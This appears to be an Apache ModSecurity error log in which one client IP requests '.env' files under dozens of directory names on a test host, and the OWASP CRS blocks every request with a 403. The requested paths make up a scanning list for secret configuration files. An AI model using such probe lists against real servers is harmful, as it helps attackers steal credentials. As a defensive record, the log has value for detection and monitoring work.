[Thu Feb 26 01:03:06.166836 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzQAAAAQ&quot;]
[Thu Feb 26 01:03:06.166996 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzQAAAAQ&quot;]
[Thu Feb 26 01:03:06.179740 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /htdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaAAAAAI&quot;]
[Thu Feb 26 01:03:06.179996 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaAAAAAI&quot;]
[Thu Feb 26 01:03:06.180169 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/htdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaAAAAAI&quot;]
[Thu Feb 26 01:03:06.213645 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaQAAAAI&quot;]
[Thu Feb 26 01:03:06.213885 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaQAAAAI&quot;]
[Thu Feb 26 01:03:06.214043 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/html/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlaQAAAAI&quot;]
[Thu Feb 26 01:03:06.219603 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helmetjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzwAAAAQ&quot;]
[Thu Feb 26 01:03:06.219839 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzwAAAAQ&quot;]
[Thu Feb 26 01:03:06.219996 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlHzwAAAAQ&quot;]
[Thu Feb 26 01:03:06.237979 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /http/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlagAAAAI&quot;]
[Thu Feb 26 01:03:06.238228 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlagAAAAI&quot;]
[Thu Feb 26 01:03:06.238414 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/http/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlagAAAAI&quot;]
[Thu Feb 26 01:03:06.245369 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hgs-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0AAAAAQ&quot;]
[Thu Feb 26 01:03:06.245594 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0AAAAAQ&quot;]
[Thu Feb 26 01:03:06.245749 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0AAAAAQ&quot;]
[Thu Feb 26 01:03:06.285364 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpboot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlawAAAAI&quot;]
[Thu Feb 26 01:03:06.285606 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlawAAAAI&quot;]
[Thu Feb 26 01:03:06.285758 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpboot/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlawAAAAI&quot;]
[Thu Feb 26 01:03:06.287340 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /higlass-website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0QAAAAQ&quot;]
[Thu Feb 26 01:03:06.287566 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0QAAAAQ&quot;]
[Thu Feb 26 01:03:06.287721 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/higlass-website/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0QAAAAQ&quot;]
[Thu Feb 26 01:03:06.310378 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /home/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0gAAAAQ&quot;]
[Thu Feb 26 01:03:06.310607 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0gAAAAQ&quot;]
[Thu Feb 26 01:03:06.310754 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0gAAAAQ&quot;]
[Thu Feb 26 01:03:06.329189 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /httpdocs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbAAAAAI&quot;]
[Thu Feb 26 01:03:06.329451 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbAAAAAI&quot;]
[Thu Feb 26 01:03:06.331230 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbAAAAAI&quot;]
[Thu Feb 26 01:03:06.338677 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /horde/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0wAAAAQ&quot;]
[Thu Feb 26 01:03:06.338892 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0wAAAAQ&quot;]
[Thu Feb 26 01:03:06.339076 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/horde/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH0wAAAAQ&quot;]
[Thu Feb 26 01:03:06.353888 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /huniv_migration/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjlbQAAAAI&quot;]
